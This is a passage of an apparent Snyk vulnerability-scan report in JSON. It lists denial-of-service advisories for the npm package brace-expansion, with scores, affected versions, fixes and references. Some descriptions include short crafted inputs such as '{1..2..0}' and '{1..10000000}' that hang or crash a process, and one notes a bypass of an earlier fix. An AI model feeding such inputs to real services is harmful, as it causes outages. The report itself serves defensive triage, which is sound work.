"from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 